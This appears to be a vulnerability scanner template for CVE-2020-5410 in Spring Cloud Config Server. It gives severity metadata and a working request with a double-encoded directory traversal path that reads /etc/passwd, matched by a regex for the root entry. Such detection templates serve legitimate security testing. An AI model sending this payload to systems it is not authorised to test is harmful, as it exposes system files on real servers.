id: CVE-2020-5410

info:
  name: Directory Traversal in Spring Cloud Config Server
  author: mavericknerd
  severity: high
  description: Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.
  reference: https://tanzu.vmware.com/security/cve-2020-5410
  tags: cve,cve2020,lfi,springcloud,config,traversal
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2020-5410
    cwe-id: CWE-22

requests:
  - method: GET
    path:
      - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body